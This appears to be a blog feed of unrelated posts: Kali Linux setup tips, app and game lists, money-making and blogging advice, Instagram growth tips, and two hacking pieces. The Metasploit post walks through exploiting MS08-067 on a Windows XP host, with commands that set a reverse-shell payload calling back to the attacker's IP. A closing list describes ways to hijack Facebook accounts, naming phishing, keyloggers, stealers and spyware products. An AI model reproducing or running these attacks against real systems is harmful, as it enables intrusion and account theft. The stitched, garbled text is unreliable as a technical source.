8 Important things to do after installing Kali Linux on your computer

Hello Viewers,

Kali Linux is one of the best operating system to use as a hacker or any security profession. However, it doesn’t come perfectly configured right out of the box. Today in this blog, we will discuss about the, 8 important things to do after installing kali Linux on your computer, Virtual Box and Raspberry pi.

#1 Install Git

Git is an open-source software version control application. It can be used for collaboratively sharing and editing code but is commonly referenced here on Null Byte as the primary tool for copying (or “cloning”) code repositories found on GitHub. Git is a must have tool for penetration testers looking to expand their toolset beyond what’s available in the default Kali repositories.

 

#2 Configure Bash Aliases

Bash aliases are fantastic for creating customized command line shortcuts. For example, we can reassign the  ls command to automatically use our favorite arguments.

 

#3  Create a New Low Privileged User

Many applications like the Chromium Browser and the Tor Browser should never be opened or used as a root user. Such applications rely heavily upon low-level permissions to deliver some degree of security. It might be beneficial to some users to create a low privileged user account for such activities.

 

#4 Install a Terminal Multiplexer

A multiplexer is a tiling terminal emulator that allows us to open several terminal sessions inside one single window. The major benefit to this is being able to see all of our open terminal sessions at once and not layer the windows on top of each other.

 

#5  Install Your Favorite Hacking Tools

Some versions of Kali are geared toward minimalist hackers who prefer not to have hundreds of hacking tools already install. This means we’ll have to install our favorite tools manually. The types of tools we use vary based on our skill set and areas of expertise, but below are some popular hackings tools.

  • Aircrack-ng: Wireless WEP/WPA cracking utilities.
  • BeEF: Browser exploitation framework via web applications.
  • Burp Suite: Graphical application designed for web application security.
  • Hydra: Login password brute-forcing utility.
  • Nikto: Web server security scanner.
  • Maltego: Open-source forensics and intelligence gathering.
  • Nmap: Port scanner and network mapper.
  • Wireshark: Graphical application for network traffic analysis.

 

#6  Install the latest Version for Tor

Tor is available in Kali’s repositories, but anonymity software should be acquired directly from the source (torproject.org). Furthermore, Kali’s version of Tor is not reliably maintained or updated. This means we could be missing critical stability and security updates.

 

#7 Install a Code Editor

Atom is a free, open-source, feature-rich, and highly customizable text editor. Its features include the ability to collaboratively share code in real time, intuitive coding autocompletion, and the ability to install packages which further enhance Atom’s versatility. Other noteworthy text editors include Geany and Gedit.

 

#8  Change SSH Keys & Default Password

The default password for every Kali Linux installation is the same (toor) which makes it very easy to automate attacks. Also, the default SSH keys can allow an attacker to intercept your communications when you’re controlling something like a Raspberry Pi via SSH.

Also Read – Most Important Cyber Attacks Techniques that often used by Hackers

 

5 outstanding apps for home décor

To say that digitalization has made everything simpler and easier would be an understatement. There is a solution to literally every problem online. Even if you
are an interior decorator or simply a home owner looking to make changes to
your living.
You might be surprised at just what your mobile phone can do and there apps
that can help you out and take care of your décor needs. Especially if you don’t
wat to spend money on hiring interior designer, you should download these apps.
But then the question arises, which apps are suitable for downloading. The
answer is, let us take care of that. Here are the top five apps you can use for
home décor.

1. Bright Nest:

BrightNest allows you to scan your interior in detail and then get
recommendations on how to proceed and what to try. Getting the interior plan
right is the most difficult and basic task. BrightNest will not let you slip up in that.
The correct process for any décor is to design your way step by step. It helps your
organize stuff and keep it together. Something you often struggle with is the
furniture settings. BrightNest will recommend which furniture to buy and how to
arrange everything. The app’s purpose is to give you a grand plan.

2. Houzz:

There are two aspects of Houzz. One is the actual range of element such as
furniture and fittings, stuff you can pick and drop to see where it looks good and
all such technical things. The other aspect of Houzz is the wealth of articles, blogs,
stories, recommendations and ideas that you can find on the website.
The experience of other people will guide you in creating the perfect house for
yourself. There are many articles written by experts. That is a lot of information
you can use that is there for free. With house you got both aspects covered:
technical building as well as ideas and theories.

3. Zillow Digs:

Some people are like me, we are hopeless at coming up with new ideas. If that is
the case with you, hold Zillow Digs app tightly and don’t let it go. It generates
remarkable décor ideas for your home. The platform the app sets for you is very
useful.
It puts you on the right track to creating a beautiful living situation. By giving you
some pre-set ideas it basically does half your job for you.

4. MagicPlan:

MagicPlan is an app that focuses on flooring and ceiling of a house. It provides
you with various flooring ideas such as tiles, marbles, shades and patterns for
your floors. Whereas ideas for hangings, decorations, lights for your ceilings.
Trust me with the help of MagicPlan, the entire look of your house will change
with few simple installations.

5. Home Design 3D Gold:

Home Design 3D Gold is house decorative app that is once again suitable for
people like me – idealess and blank headed. It can help you transform your house
into an unrecognizable beauty.
It also recommends steps you can take to make your house more spacious.
Overall, it is a complete interior decoration app.


Author bio: Nuur Hasan is a software developer, web developer and a technical writer with more than
seven years of experience. He believes that sharing knowledge can do wonders and that is why he likes
to blog. His other interests include politics and sports.


 

Best Android Games of all time : Mobile Games

Hello Guys I am Rajat Back with another blog, .if you are a smartphone user and you like playing games on your mobile and you are looking for free games for yourself then you will come to the right place, because in this post, we will talk about  best and free android games You will talk and one more special thing is that you can also play them offline and besides you can easily run them even on most android phones, let’s move forward quickly towards these games.

 

#1 Shadow Fight 3

shadow fight 3
shadow fight 3

It may be that the name of this game you have heard before, because this game is a very popular fighting game for android, comes from “NEKKI”, there are two versions of this game that are quite different and old. In this game, the first shadows were fought only as it is known by its name but now it only sees us as the normal graphics. In this game, the name of the character is the shadow, hence the name of the game is still shadow fight That’s it. You keep controlling this game with gestures and keep defeating the front Oponant.

 

 

#2 Tekken

Tekken
Tekken

Tekken is a fighting game similar to the Shadow fight, but both of these things are different and by the same name, it is both games popular, it is created by the Namaco Entertainment Company. This game is also quite popular for PCs. The main thing is that it is a little bit in anime style, so if you like anime, you will love this game too. You also have to control it with gestures, its controls are quite simple and there are lots of things in it. Also you will see great Aksperins of fighting.

 

 

#3  Asphalt 8 : AirBorne

Asphalt Airborne
Asphalt Airborne

If you are a fan of racing games then you must have heard the name of this game, because in the world of racing this game is becoming very popular nowadays because its graphics and features are so enjoyable that it can be liked by anyone But this game is bigger than 1GB, so it may take some time to download it. Regarding the rest of this, you will find it after downloading it. But to run this you should have a good mobile, because it requires more RAM and good processor for its graphics.

 

 

#4 Real Racing 3

Real Racing 3
Real Racing 3

If we talk about Asphalt 8’s best and direct alternative, then it is real racing, because in it you will see many features like Asphalt 8, this game has been published by Electronic Arts i.e. The same company that needs a lot in the Need for Speed game market, you can consider Real Racing 3 as the free version of Need for Speed, if you talk about controlling the game, you will also be given controls on the smartphone screen.

 

#5 Hot wheels: Race off

Hot wheels: Race off
Hot wheels: Race off

As the name suggests, it is also a racing game but it is quite different from the rest racing games. This is a hot wheel style game if you do not know about the hot wheel before, By seeing or downloading images, you will understand that it is very simple in terms of game controls if you prefer to play hot-wheel styling games, you will surely love it.

 

 

#6 Into the Dead 2

Into the Dead 2
Into the Dead 2

Into the dead 2 is a first person Action game in which you have to shoot the zombies, which has been released by PikPok, in this game you attack many zombies, those who kill you and keep running ahead Based on the thing, you have to kill zombies in it, for which you get weapons from many places.

 

 

#7  Mission: Impossible – Rogue Nation

Mission: Impossible - Rogue Nation
Mission: Impossible – Rogue Nation

This is also an action and shooting game but it is not a zombies shooter game, you will have to complete different missions and levels in it, in this you will feel much like the old version of GTA but this game is as open world If you are a victim of Open World Games, then it is going to be enjoyable by playing it, it is largely created by inspiration from the mission impossible rogue nation movie.

 

 

#8 Angry Birds Star War 2

Angry Bird Star War 2
Angry Bird Star War 2

Angry birds The name of the game will be heard almost all of us and it will have played before it, because this game has become very popular in the beginning. Angry birds Star Wars 2 Game is a new version of the same Angry Bird game designed by Inspired by Star Wars movie. This game reminds you of the old game but together you have so many things in it that this game Today is in this list. The particular thing about this game is that it is a very simple game that everyone likes.

 

 

Thank You,

 

 

Metasploit Framework For Advance Exploitation

Metasploit Framework

The Metasploit Framework is a Kali Linux tool that helps in the exploitation of any machine by using vulnerabilities to hack it.
If you have read my previous tutorials, you will remember that when we had scanned the target of our Windows XP, we had received a Vulnerability  MS08-067. We will hack the system from Metasploit by using the same Vulnerability.

How To Start Metasploit: –

To start msfconsole (MetaSploit Framework), first of all
Applications -> Exploitation Tools -> Metasploit Framework

Metasploit Framework 1
Metasploit Framework 1

click on After that Metasploit will start and you will see some such screen.

Metasploit framework 2
Metasploit framework 2

As you have seen in it, there are 1467 Exploits in it, 432 Payloads is Installed. These Exploits are just using us on our target. OK Now we are doing it to Exploit a Vulnerability MS08-67 to Metasploit. Metasploit can give us details about it. For that we need to use Metasploit’s Inbuilt Feature Search
msf> search ms08-67

Metasploit Framework 3
Metasploit Framework 3

So when we searched this, we got its Correct Module name known as ms08_067_netapi. Now if you enter the command: = msf > info exploit / windows / smb / ms08_067_netapi

Metasploit Framework 4
Metasploit Framework 4

As you have seen, after this command all the information about this Module has been shown. First of all, it has given information about it. After that in the platform told who it is for whom as it is in Windows. Rank is described. After that its targets have been shown. Then there is a Basic Options list. In this you have given some options which we have to set according to our target.
In RHOST we have to set the IP address of our target. We will read the entire details later in this. After that there is Payload Information which contains some information which tells you to use the angle bit payload for Metasploit Exploit.
Description: – This gives even more details of any vulnerability.
Reference: – It provides links to the online Vulnerability Database. From here also you can read any Vulnerability details.
OK, now we know the correct Module, so now we have to give Metasploit the command to use this Module.
msf> use windows / smb / ms08_067_netapi

Metasploit Framework 5
Metasploit Framework 5

Setting Module Options

OK, now we have to give some information to Metasploit so that we can exploit the vulnerability of our target. First of all, we check the settings of Metasploit, what is set in the end. For that we have to type the command: –
msf exploit (ms08_067_netapi)> show options

Metasploit Framework 6
Metasploit Framework 6

As you have been shown above in Screen-Shot, there are 3 options in it.
RHOST: – In this we have to enter the IP address of my target. First of all, we have to set it up on your target, you have to place the command for that.
set <option to set> <value to set>
set RHOST 192.168.79.160
[image set]
RPORT: – In this we have to put PORT to the attack. PORT such as 80, 442, 21 so on. We will not change this in our case and default 445 will remain.
SMBPIPE: – As we did not change the value in the RPORT, we will not change it as well and keep the default.
Exploit Target: – Exploit Target 0 is set on Automatic Targeting. It targets Operating System and Version. You can set it yourself and see how many targets it contains.
msf exploit (ms08_067_netapi)> show targets as show in picture

Metasploit Framework 7
Metasploit Framework 7

We know that our target is Windows XP SP3, but if this is not that easy, then let it remain at 0 so that it can automatically select the target.
Payloads / Shellcode
As we have seen in the Show Options command, our target is also in the list, now we just need to attack. But we have not yet told Exploit what to do after our target is exposed. To do all this, setting up Payloads in Metasploit is easy enough for us.
We will read about the Metalsploit payloads in the next tutorials. Type to see payloads:
msf exploit (ms08_067_netapi)> show payloads

Metasploit Framework 8
Metasploit Framework 8

Check Run: –
Ok to understand now, we will now just Exploit on Default Payload, for our targets, we just have to put a command now to exploit
msf exploit (ms08_067_netapi)> exploit

Metasploit Framwork 9
Metasploit Framwork 9

You have seen that now Meterpereter, which is a short form of Meta-interpreter, has started. With this we can now do many things with our targets, but we will all read it later in detail.
Note: – You see that Metasploit is using Port 4444. Now that we are exploiting our targets, it is correct, but when we use it in Real World, our target will drop Metasploit’s Connection because it will know that it is Metasploit.

Now we will not do much, after that we will now close the Exit Command entry.

Metasploit Framework 10
Metasploit Framework 10

Setting a Payload Manually
Ok, now we will manually select a payload. To set the payload: –
msf exploit (ms08_067_netapi)> set payload windows / shell_reverse_tcp

Metasploit Framework 11
Metasploit Framework 11

If this is a Reverse Shell then we have to tell the target that Shell has to send on Shell. For that we have to set our own Kali Linux IP Address.
Now we have to put an IP address of its ie’s Attacker in LHOST, to see Kali Linux’s IP address, type it
ipconfig

Metasploit Framework 12
Metasploit Framework 12

As my Kali Linux IP address is 192.168.79.130, we will enter: –
set LHOST 192.168.79.130

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Metasploit Framework 13

Now let’s see Exploit command again …

Metasploit Framework 14
Metasploit Framework 14

Yeah ;), you’ve successfully exploited Windows XP. Now on your screen, Windows XP’s Command Prompt is open, in which you can execute a Windows command by executing it:
Press CTRL + C to turn it off by pressing Y and pressing the Enter key.

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Metasploit Framework 15

So this was Metasploit’s first and Advance tutorial,

Thank You.

6 Easy Ways To Make Money Online

#1.Start Your Own Website

WebsiteMaking

Interested in generating passive income? You need a website. It’s THE way to make money while you sleep.

Starting a website with WordPress takes less than 20 minutes, costs hardly anything and can be done by an 82 year-old. It only takes a bit of plugging on social media to get your first visitors, and there are plenty of ways to monetise your site. Save the Student is just one example of a successful website, started at university by Owen Burek in his first year, which has since grown into a full-time and sizable enterprise.

aslo read ( Start blogging in simple steps ).

 

#2. Write and publish a Kindle eBook

Amazon Kindle

If students are good at anything, it’s researching and writing. With the Amazon Kindle store, anyone can publish an eBook and make money.

And the Kindle app is now available on almost any device (laptops, iPads, smartphones and yes, Kindles) so your global market is huge!

List your book for 656.04 Indian Rupee and you earn 70% of the sale. Considering Amazon is the ultimate selling machine (and remember people are looking to spend), that is a fantastic deal.

Amazon Books Reading

The key to success with eBooks is to create value, and write non-fiction. Simply bundling information you have researched and complied on a common problem (eg. ‘secrets’ to finding a job) and then presenting it in an easy to digest format (an eBook) justifies someone spending a few quid on it.

Another big tip is to have a great cover designed, so it stands out, and once your book is live on the Kindle store it’s really important to get some reviews so it shows up higher in results. Encourage readers to leave an honest review at the end of your book.

The best thing about this lucrative idea is that once you’ve invested the time (say 20 hours),

#3. Affiliate marketing

Affliliate Marketing

If you’ve got a good presence on social media or perhaps you even have a blog or website, you can start bringing in money immediately by promoting all sorts of companies, products, services and offers online.

Sign up as a publisher on the Amazon affliliate program, check their offers blog or browse the merchant listings to find something you think your friends would be interested in, grab your affiliate link and share it. If someone buys (can be within up to 90 days) using your link you’ll make a nice commission.

To take it a step further, set up a website or a topical Facebook page and invite all your friends to join it and post your affiliate offers on there.

#4. Gigs on Fiverr (Free Lancing)

fiverr free lancing

Fiverr is now the world’s largest marketplace for people to make money selling small services (known as ‘gigs’).

What you offer could be absolutely anything, from writing and translating, social media posting, playing pranks and teaching to creating music, voiceovers and short video clips for people all around the world!

The default price is $5 (hence Fiverr..), but you can attach extra services to gigs for more money. Whilst it might not seem like much, it can quickly add up and there are plenty of

examples of people making a really good living from the site. The key is to get a system in place which minimises the time spent on each gig.

But there is another way to profit even more from Fiverr for potentially far less work. How? By simply reselling gigs elsewhere. For example, find a decent logo designer then reply to jobs on Upwork or even local classifieds. A $5 spend can easily become $50+, and it’s repeatable!

If you’re not interested in selling at all there’s SO much good stuff you can get done for yourself. Have a browse and get inspired!

#5. Online surveys

Online Surveys

An increasingly popular way for students to make money is to fill out online surveys in their spare time. Research companies are always recruiting new members to answer surveys and test new products.

For a few minutes of form filling, you can make a couple of quid which is paid as cash or rewards. You can bag up to  ($5) for some surveys!

A few good ones to try are: Toluna, MySurvey, OnePoll, i-Say, Panel Opinion, Global Test Market, The Opinion Panel, YouGov, Pinecone, SurveyBods, Hiving, PanelBase, Branded Surveys, Opinion Outpost, Prolific Academic, Valued Opinions, Harris Poll, Mind Mover, New Vista, PopulusLive, iPoll

Also sign up for Swagbucks which rewards you for surveys as well as simply surfing the web, watching videos and playing games.

#6. Review websites & apps for cash

Review websites & apps for cash

Well it seems like you’re pretty nifty with a web browser, so perhaps it’s time to turn pro and browse websites as a paid and fun job!

Introducing UserTesting.com – a new platform that pays everyday people to review all kinds of websites. Each review takes around 20 minutes and bags you $10 (8.34 United States Dollar) via Paypal.

Simply sign up here, complete a test review and look forward to receiving websites in your inbox.

Thank you for reading our blog, If you have any question regarding this article you can contact us Here.

 

How to start blogging in simple steps

Hey mates, hope you are doing well.  Giving a come back after a long time in the blog 😛 .  It’s really been a long time since I last published a blogpost. Hehe, so let’s get started. And I think all of you have seen the title of the blog – “How to start blogging in simple steps” . So all of you are familiar with the term blogging 😛 . Damn it was a silly and lame question. And if you reading this post you will obviously know it 😀 .

Running a successful blog  is dream for most of the people. Most of the people wants to tell and share something with all through the means of writing. And that’s the f**king unique thing of human and due to this reason human are controlling the whole world. Human keeps the record and can share things by writing , so that even if the human dies the discoveries and theories and rest of the things are left with us. Hahaha getting off the topic. Let’s get in 🙂

What actually a blog is?

It’s a mode of sharing information in the internet and actually benefit others to letting them learn without  discovering. Its actually a website where information is shared. And due to recent advancement in technology it’s not necessary that we must know programming in order to create websites. You can actually create good looking and dynamic websites without coding as well so just be calm . Many people use it as their diary to write stuff related to their experience and yes many people have got something they want to write and share with others to reduce their pain, to make people aware, to teach, to share, to talk etc.

 

how to start blogging in simple steps

Steps to get started!

  1. Buy a custom domain (recommended). Don’t go for free domains because that’s a shitty idea: It just costs around $5-10 to buy a domain.  It actually depends as of how much addons you want.  And accordingly the price is calculated . It’s recommended to go for advanced pack even if you are not pro! because you don’t have to play with addons or edit them. So go for advanced level. You can purchase domain from – CrazyDomains, NameCheap, Godaddy etc.
  2. Thereafter,  buy hosting for your blog. There are many, but don’t go for a cheap one or free one (recommended): You can purchase hosting as per your requirements and budget. And if you want to make your life a laptop-lifestyle blog then, going for free hosting is again a shitty ass idea. Feel free to purchase in hosting as much as you can to make the blog look like pro! Example of hosting providers :  Bluehost, Hostinger, Hostgator, Hostathash etc.
  3. Choose a blogging platform : After purchasing the blog and hosting its the third process-to install the blogging platform. There  are many platforms available in the market. Don’t worry you don’t have to pay for it. You can but if you don’t it’s okay. Some of the widely known platforms are Blogger, WordPress, Drupal, Joomla etc.
  4. Then get started posting contents – After setting up everything you have to just get start to write or publish anything of the niche you have chosen or the type of blog you are having. Be it portfolio, writeup, infosec, tech or any kinda. Just make or create unique contents. It’s important to stay  original and follow basic rules on the basis of which you are ranked. For certain rules you can refer to SEO RULES
  5. After that go for monetizing your content and have – In the world full of fakes and half assed people  its too hard to understand who is gonna leave you and who’s gonna not. But majority will leave for sure. It’s money that will get others get attracted to you. But never mind in return they will make you strong by giving pain. Today in the world what people see is just how much you earn not how you earn.So till here if everything is okay. Go and make your earning. Convert the passion you passion into money if it’s benefiting others and here you don’t have to get others to pay you to read your writeups. If you are thinking so, maybe you are not familiar with this field. You can monetize your content with Google Adsense by embedding ads. And other way is affiliate marketing which is used if you have a good amount viewers to your blog. Don’t look for money everywhere.

I know this writeup was too short . But don’t go with quantity, go over quality. I hope you liked it. I just wrote it because some of mine mates were telling me on and on about how to do blogging or like what’s the procedure. I hope it’s clear and if you are interested you can be a cool blogger and can earn actually something than nothing and do whatever you ‘ld like to do with $s. Hahaha sounds cool and it’s literally cool once you get engaged with the community. If you need any help  feel free to contact me. And its not a tutorial for experts. It’s just for the starters or beginners. Just feel motivated and get started because you learn when you launch. Always remember E>S>A>N (Everything>Something>Anything>Nothing). Am sorry if you felt bored in between or any errors and mistake I made in between. I know my writeup is not that effective.

Amazon Offers Employees $5,000 To Quit Their Jobs

 Amazon Offers Employees $5,000 To Quit Their Jobs

amazon

Successful companies know the value of teamwork. To ensure that employees are not working only for the sake of money, Amazon offers its warehouse and customer-service centers workers to accept the offer of $5000 to leave the job. This move is very strategic and for the company and even the employees get to think about what they actually want in life.

Amazon-Shopping

The less engaged workers face the productivity issue which in the long run affects Amazon’s working culture. The amount offered every year differs according to the experience and salary of the worker. After accepting this offer, he/she gets banned from working for Amazon in future.

Zappos

Amazon got this idea from Zappos.com when it was acquired in 2009 for $850 million. Zappos used to offer $1000 to its employees every year for the same purpose. Jeff Bezos has accepted this and once he revealed that the company doesn’t encourage the employees to accept this offer and a headline which reads “Please don’t take this offer” is always placed on the letter and e-mail. This strategy also avoids Amazon to go through mass layoffs.

Amazon

A very small portion of Amazon employees accept this offer and it encourages others to feel more committed to their jobs. Employees who turn down ‘The offer’ feel more dedicated as they consciously choose to work in Amazon.

Amazon on an average pays its warehouse workers about $12 an hour, which is around $25,000 for working the whole year. Although it costs more to hire a new employee, it is beneficial for the business especially, for a reputed company like Amazon where employees hold a crucial place in giving service to customers.

What are your thoughts about this policy? do let us know in the comments section and you can also share more such policies that companies follow to make the most of the salaries they pay to employees.

 

Important Skills Every Entrepreneur Needs

entrepreneurship

1. Resiliency

The ability to weather the ups and downs of any business since it never goes exactly the way the business plan described it. This skill enables the entrepreneur to keep going when the outlook is bleak.

2. Focus

 After setting a long term vision, knowing how to “laser focus” on the very next step to get closer to the ultimate goal. There are so many distracting forces when trying to build a business that this skill is not easy to master.

3. Invest for the long-term

Most entrepreneurs are not patient and focus only on what comes next, rather than where the company needs to go. Overnight success may take 7 to 10 years. Entrepreneurs need to stop, pause and plan on a quarterly basis.

4. Find and manage people

Only by learning to leverage employees, vendors and other resources will an entrepreneur build a scalable company. They need to learn to network to meet the right people. Entrepreneurs strive to guarantee they will get honest and timely feedback from all these sources.

5. Sell

Every entrepreneur is a sales person whether they want to be or not. They are either selling their ideas, products or services to customers, investors or employees. They work to be there when customers are ready to buy. Alternately, they know how to let go and move on when they are not.

6. Learn

 Successful entrepreneurs realize they don’t know everything and the market is constantly changing. They stay up to date on new systems, technology, and industry trends.

7. Self-reflection

 Allow downtime to reflect on the past and plan for the future. Always working only leads to burnout physically and emotionally.

8. Self-reliance

While there is a lot of help for the entrepreneur, in the end, they need to be resourceful enough to depend on themselves.

What do you think it takes to be a successful entrepreneur? Let us know in comment section:)

8 Ways to Get More Instagram Followers

Instagram
Instagram quickly outgrew its first impression as a fun app for kids and has become a serious content marketing, networking and audience building tool for individuals and brands. It’s one of the most popular social networking sites on the planet, with over 200 million active monthly members sharing 60 million images and 1.6 billion likes per day.

Just how awesome is it? Engagement rates for brands on most social networks are less than 0.1%, but Instagram blows them all away. The average Instagram engagement rate for brands in a 2014 Forrester study was an epic 58 times higher than on Facebook.

 

1. Cross-promote your dedicated hashtag.

That’s nice that you created a #instagram hashtag for your company, but who knows to use it to share content about you? Make sure it’s in your profile, but take the game offline and have it printed on your receipts, in print ads, on signage in your store and at relevant events.

If you’re on radio and TV, direct people to use your hashtag. Integrate online and offline campaigns by ensuring it’s listed on your other social profiles, on your website, and in your email blasts. Don’t just hope people will find it.

 

 

2.  Make the most of your bio URL.

It’s prime real estate on your Instagram profile… do you really want your bio to only link to your website homepage, now and forever? Yawn. Change it up at least bi-weekly and use that clickable link in your bio to drive traffic to your newest or most popular content.

 

3.  Get creative with hashtagging.

When it comes to Instagram caption ideas, you need to look beyond the one-word, obvious hashtags. Sure, you want to use those, too, but mix it up and use hashtags to tell part of your story. Be funny, ironic, or outrageous–just don’t be BORING. Collaborative workspace company Instagram is great at this, and they include a fun mix of Instagram content, too.

4. Ask Customers to Share their Photos 

When you’re just starting out, getting followers on Instagram will be a lot easier with customer photos in your feed. Why? It can help increase social proof.

If you’ve never had a customer before, reach out to influencers in your niche with under 5,000 followers. I know the number seems low but influencers with few followers on Instagram want to monetize their accounts and will be willing to take pictures with your products at a much lower rate. You can also offer them an affiliate deal where they’ll get a commission for every sale they score with their customer referral link.

If you’ve already had a couple of sales, reach out to customers and offer a free gift or cash incentive for taking quality images with the product they purchased. Offering incentives isn’t going to be your long-term strategy but for the short-term while you try to build your brand, this can help you grow.

As more customers start seeing customer photos on your Instagram, they’ll naturally start tagging you in posts when they receive their products. If you comment on their post, repost the content and follow them you’ll likely get them to follow back. Though some will follow you after tagging you in their post on their own.

 

5. Work with Influencers – How to Get Followers on Instagram

Another way to get an Instagram followers increase is by getting influencer shoutouts or having influencers do an account takeover.

If an influencer has a loyal following, they can give you a shoutout that’ll result in new followers for your account and possibly a few sales.

Be sure to write up a contract that prohibits the influencer from sending fake traffic. We once worked with an influencer who gave us a shoutout and we got 2,000 fake followers on our account. It was obvious she used a bot. When you get a sudden rush of fake follower on your account you risk getting your account banned.

If you’re looking for a more effective approach to get new followers, ask the influencer you work with to do an account takeover on your Instagram Stories. That way, people will have to follow your page to view the story. You’ll need to get him or her to let their audience know a few days in advance.

 

6. Post to your other social channels from Instagram

When you’re just about to post an image with Instagram, there is a set of social buttons that allows you to post both in Instagram and then to social accounts like Tumblr, Facebook and Twitter.

You can connect your desired accounts and selectively post pictures to them. But doing this allows people to see that you post directly from Instagram. They can click on the picture and get taken back to your profile where they can easily follow you.

This can help collect your following from your separate social channels under one roof where they can get to know you or your brand a little better.

 

7. Host AMAs in your Instagram account

I have yet to hear or see this happen on Instagram, but when you think about it, Instagram is the perfect place to hold an Ask Me Anything.

Twitter Chats and hosting AMAs on forums can be a little scattered and messy to follow — especially Twitter Chats. But Instagram has a clean layout and it’s easy to track questions and post replies.

You can announce to followers on your blog, social media channels or various forums that you’ll be hosting one on Instagram, and they can be sure to be notified when it starts if they follow you there.

 

8. Comment and interact with people

You have probably noticed this, but Instagram is a social media platform that is actually very social when compared to other networks.

Comments and @mentions are a large part of communicating on Instagram and get connecting with others.

When you find a post you already liked, take a moment to leave a comment.

Is there a comment in the thread that you’d like to reply to? Join in the conversion with an @mention of one of the other people who commented on the post.

This sends a notification to the person who posted the picture and the person who commented on it — so you’re killing two birds with one stone.

Top 10 Facebook profile hacking techniques!

1. Phishing

Phishing is still the most popular attack vector used for hacking Facebook accounts. There are variety methods to carry out phishing attack. In a simple phishing attacks a hacker creates a fake log in page which exactly looks like the real Facebook page and then asks the victim to log in. Once the victim log in through the fake page the, the victims “Email Address” and “Password” is stored in to a text file, and the hacker then downloads the text file and gets his hands on the victims credentials.

 

2. Keylogging

Keylogging is the easiest way to hack a Facebook password. Keylogging sometimes can be so dangerous that even a person with good knowledge of computers can fall for it. A Keylogger is basically a small program which, once is installed on victim’s computer, will record every thing victim types on his/her computer. The logs are then send back to the attacker by either FTP or directly to hackers email address.

 

3. Stealer’s

Almost 80% percent people use stored passwords in their browser to access the Facebook. This is quite convenient, but can sometimes be extremely dangerous. Stealer’s are software’s specially designed to capture the saved passwords stored in the victims Internet browser.

 

4. Session Hijacking

Session Hijacking can be often very dangerous if you are accessing Facebook on a http (non secure) connection. In Session Hijacking attack, a hacker steals the victims browser cookie which is used to authenticate the user on a website, and use it to access the victims account. Session hijacking is widely used on LAN, and WiFi connections.

 

5. Sidejacking With Firesheep

Sidejacking attack went common in late 2010, however it’s still popular now a days. Firesheep is widely used to carry out sidejacking attacks. Firesheep only works when the attacker and victim is on the same WiFi network. A sidejacking attack is basically another name for http session hijacking, but it’s more targeted towards WiFi users.

 

6. Mobile Phone Hacking

Millions of Facebook users access Facebook through their mobile phones. In case the hacker can gain access to the victims mobile phone then he can probably gain access to his/her Facebook account. Their are a lots of Mobile Spying software’s used to monitor a Cellphone. The most popular Mobile Phone Spying software’s are: Mobile Spy, and Spy Phone Gold.

 

7. USB Hacking

If an attacker has physical access to your computer, he could just insert a USB programmed with a function to automatically extract saved passwords in the Internet browser.

 

8. DNS Spoofing

If both the victim and attacker are on the same network, an attacker can use a DNS spoofing attack and change the original Facebook page to his own fake page and hence can get access to victims Facebook account.

 

9. Man In the Middle Attacks

If the victim and attacker are on the same LAN and on a switch based network, a hacker can place himself between the client and the server, or he could act as a default gateway and hence capturing all the traffic in between.

 

10. Botnets

Botnets are not commonly used for hacking Facebook accounts, because of it’s high setup costs. They are used to carry more advanced attacks. A Botnet is basically a collection of compromised computer. The infection process is same as the key logging, however a Botnet gives you additional options for carrying out attacks with the compromised computer. Some of the most popular Botnets include Spyeye and Zeus.